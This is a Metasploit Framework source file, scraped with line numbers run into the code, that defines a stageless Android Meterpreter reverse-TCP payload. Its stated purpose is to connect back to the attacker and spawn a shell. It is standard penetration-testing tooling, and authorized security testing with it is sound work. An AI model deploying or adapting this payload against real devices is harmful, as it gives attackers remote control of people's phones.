Path: blob/master/modules/payloads/singles/android/meterpreter_reverse_tcp.rb
21538 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::TransportConfig9include Msf::Payload::Single10include Msf::Payload::Android11include Msf::Sessions::MeterpreterOptions::Android1213def initialize(info = {})14super(15merge_info(16info,17'Name' => 'Android Meterpreter Shell, Reverse TCP Inline',18'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',19'Platform' => 'android',20'Arch' => ARCH_DALVIK,21'License' => MSF_LICENSE,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::Meterpreter_Java_Android,24'Payload' => ''25)26)27end2829#30# Generate the transport-specific configuration31#32def transport_config(opts = {})33transport_config_reverse_tcp(opts)34end3536def generate_jar(opts = {})37opts[:stageless] = true38super(opts)39end40end414243